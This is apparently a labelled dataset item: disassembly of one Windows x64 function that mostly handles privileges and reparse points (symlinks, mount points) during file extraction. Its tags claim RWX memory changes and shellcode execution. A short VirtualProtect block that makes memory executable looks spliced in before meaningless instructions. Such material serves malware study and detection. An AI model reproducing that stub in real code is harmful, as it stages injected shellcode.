Function at 0x140007a48
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
movzx eax, word [rcx]
xor ebp, ebp
mov edi, ebp
test ax, ax
je 0x140007aee
lea rbx, [rcx + 4]
movzx ecx, ax
call fcn.14000cec8
test al, al
je 0x140007ae1
cmp word [rbx - 2], bp
je 0x140007ae1
movzx ecx, word [rbx - 2]
call fcn.14000cec8
test al, al
jne 0x140007ae1
cmp word [rbx - 2], 0x2e
jne 0x140007aac
movzx ecx, word [rbx]
call fcn.14000cec8
test al, al
jne 0x140007aa7
cmp word [rbx], bp
jne 0x140007aac
mov sil, 1
jmp 0x140007aaf
mov sil, bpl
cmp word [rbx - 2], 0x2e
jne 0x140007ad3
cmp word [rbx], 0x2e
jne 0x140007ad3
movzx ecx, word [rbx + 2]
call fcn.14000cec8
test al, al
jne 0x140007acf
cmp word [rbx + 2], bp
jne 0x140007b17
sub esp, 0x38
mov r8d, 0x40
mov eax, 0x40
mov edx, 0x515600
lea r9, [rsp + 0x2c]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
sub al, 0xff
adc eax, 0x147ad88
nop
add rsp, 0x38
ret
mov rbx, qword [rsp + 0x30]
mov eax, edi
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
push rdi
lea rbp, [rsp - 0x2fb0]
mov eax, 0x30b0
call fcn.140023900
sub rsp, rax
mov rsi, r8
mov rdi, rdx
mov r13, rcx
mov r14d, 1
cmp byte [0x14004b3e3], 0
jne 0x140007b64
lea rcx, str.SeRestorePrivilege
call fcn.140008818
lea rcx, str.SeCreateSymbolicLinkPrivilege
call fcn.140008818
mov byte [0x14004b3e3], r14b
mov edx, 0x1418
lea rcx, [rsp + 0x40]
call fcn.1400014cc
nop
lea r15, [rsi + 0x111c]
mov r8d, 0x800
mov rdx, r15
lea rcx, [rsp + 0x70]
call fcn.140012090
lea rcx, [rsp + 0x70]
call fcn.1400282c8
mov qword [rbp + 0x3008], rax
lea r12, [rbp + 0xf70]
mov r8d, 4
lea rdx, [0x140038ae8]
lea rcx, [rsp + 0x70]
call fcn.14002aac0
test eax, eax
sete cl
mov byte [rbp + 0x2ff0], cl
lea rbx, [rsp + 0x78]
test eax, eax
lea rax, [rsp + 0x70]
cmovne rbx, rax
test cl, cl
je 0x140007c0c
mov r8d, 4
lea rdx, str.UNC_
mov rcx, rbx
call fcn.14002aac0
test eax, eax
jne 0x140007c0c
mov eax, 0x5c
mov word [rbp + 0xf70], ax
lea r12, [rbp + 0xf72]
add rbx, 6
mov rdx, rbx
mov rcx, r12
call fcn.14002aaa4
lea rcx, [rbp + 0xf70]
call fcn.1400282c8
mov r12, rax
xor ebx, ebx
cmp byte [r13 + 0x71b3], bl
jne 0x140007c67
cmp byte [rbp + 0x2ff0], bl
jne 0x140007cfa
mov rcx, r15
call fcn.14000cdd4
test al, al
jne 0x140007cfa
lea rdx, [rsi + 0x28]
mov r9, r15
mov r8, rdi
mov rcx, r13
call fcn.140008570
test al, al
je 0x140007cfa
mov r8b, byte [r13 + 0x7153]
mov dl, r14b
mov rcx, rdi
call fcn.14000b1f0
mov rcx, rdi
call fcn.14000b3ac
test al, al
je 0x140007ca7
mov rcx, rdi
call fcn.14000b3c0
mov ecx, eax
call fcn.14000b41c
mov rcx, rdi
test al, al
je 0x140007ca2
call fcn.14000b2ec
jmp 0x140007ca7
call fcn.14000b34c
cmp byte [rsi + 0x1101], bl
jne 0x140007db4
cmp byte [rsi + 0x211c], bl
jne 0x140007db4
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov rcx, rdi
call qword [case.0x140012bff.3]
cmp rax, 0xffffffffffffffff
jne 0x140007d25
mov rdx, rdi
lea rcx, [0x14004b4d0]
call fcn.14000764c
mov r14b, bl
lea rcx, [rsp + 0x40]
call fcn.1400016d8
mov al, r14b
mov rbx, qword [rsp + 0x30f8]
add rsp, 0x30b0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
mov rcx, rax
call qword [case.0x140012bff.0]
mov eax, dword [rsi + 0x1118]
mov edx, 8
cmp eax, 3
jne 0x140007dea
mov r15, qword [rsp + 0x40]
mov dword [r15], 0xa0000003
mov rcx, qword [rbp + 0x3008]
lea eax, [r12 + 6]
add ax, cx
add ax, ax
mov word [r15 + 4], ax
mov dword [r15 + 6], ebx
movzx ebx, cx
add bx, bx
mov word [r15 + 0xa], bx
lea rcx, [r15 + 0x10]
lea rdx, [rsp + 0x70]
call fcn.14002aaa4
add bx, 2
mov word [r15 + 0xc], bx
add r12w, r12w
mov word [r15 + 0xe], r12w
mov rax, qword [rbp + 0x3008]
add rax, 9
lea rcx, [r15 + rax*2]
lea rdx, [rbp + 0xf70]
call fcn.14002aaa4
jmp 0x140007e6f
xor edx, edx
mov rcx, rdi
call qword [case.0x140012bff.1]
test eax, eax
jne 0x140007d2e
mov r8, rdi
xor edx, edx
lea ecx, [rax + 0x14]
call fcn.140002230
mov edx, 9
lea rcx, [0x14004b4d0]
call fcn.140007888
jmp 0x140007cfa
dec eax
cmp eax, r14d
ja 0x140007cfa
mov r15, qword [rsp + 0x40]
mov dword [r15], 0xa000000c
mov rcx, qword [rbp + 0x3008]
lea eax, [rcx + r12]
add ax, dx
add ax, ax
mov word [r15 + 4], ax
mov dword [r15 + 6], ebx
movzx ebx, cx
add bx, bx
mov word [r15 + 0xa], bx
lea rcx, [r15 + 0x14]
lea rdx, [rsp + 0x70]
call fcn.14002aaa4
add bx, 2
mov word [r15 + 0xc], bx
add r12w, r12w
mov word [r15 + 0xe], r12w
mov rax, qword [rbp + 0x3008]
add rax, 0xb
lea rcx, [r15 + rax*2]
lea rdx, [rbp + 0xf70]
call fcn.14002aaa4
movzx eax, byte [rbp + 0x2ff0]
xor eax, r14d
mov dword [r15 + 0x10], eax
xor r12d, r12d
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x2200000
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
mov rcx, rdi
call qword [case.0x140012bff.3]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x140007ec9
mov rdx, rdi
lea rcx, [0x14004b4d0]
call fcn.14000764c
lea edx, [rbx + 0xa]
lea rcx, [0x14004b4d0]
call fcn.140007888
xor ebx, ebx
jmp 0x140007cfa
movzx r9d, word [r15 + 4]
add r9d, 8
mov qword [rsp + 0x38], r12
lea rax, [rbp + 0x3000]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
mov r8, r15
mov edx, 0x900a4
mov rcx, rbx
call qword [0x140038020]
test eax, eax
jne 0x140007f7f
mov rcx, rbx
call qword [case.0x140012bff.0]
mov r8, rdi
xor edx, edx
lea ecx, [rdx + 0x15]
call fcn.140002230
call qword [section..rdata]
cmp eax, 5
je 0x140007f2a
cmp eax, 0x522
jne 0x140007f3f
call fcn.140012298
xor ebx, ebx
test al, al
jne 0x140007f41
lea ecx, [rbx + 0x18]
call fcn.140004568
jmp 0x140007f41
xor ebx, ebx
lea rcx, [0x14004b4d0]
call fcn.1400078cc
mov edx, 9
lea rcx, [0x14004b4d0]
call fcn.140007888
mov rcx, rdi
cmp byte [rsi + 0x1101], bl
je 0x140007f74
call qword [case.0x140012bff.2]
jmp 0x140007cfa
call qword [case.0x140012bff.4]
jmp 0x140007cfa
lea rcx, [rbp + 0x1f70]
call fcn.14000a568
nop
mov rax, qword [rbp + 0x1f70]
lea rcx, [rbp + 0x1f70]
mov rax, qword [rax + 0x10]
call qword [0x1400384e0]
mov qword [rbp + 0x1f78], rbx
mov eax, dword [r13 + 0x82f0]
lea rcx, [rsi + 0x1060]
neg eax
sbb r9, r9
and r9, rcx
mov eax, dword [r13 + 0x82ec]
lea rcx, [rsi + 0x1058]
neg eax
sbb r8, r8
and r8, rcx
mov eax, dword [r13 + 0x82e8]
lea rcx, [rsi + 0x1050]
neg eax
sbb rdx, rdx
and rdx, rcx
lea rcx, [rbp + 0x1f70]
call fcn.14000ae80
lea rcx, [rbp + 0x1f70]
call fcn.14000a630
cmp byte [r13 + 0x71c4], r12b
jne 0x14000801a
mov edx, dword [rsi + 0x24]
mov rcx, rdi
call fcn.14000b6d0
nop
lea rcx, [rbp + 0x1f70]
call fcn.14000a5b0
jmp 0x140007cfd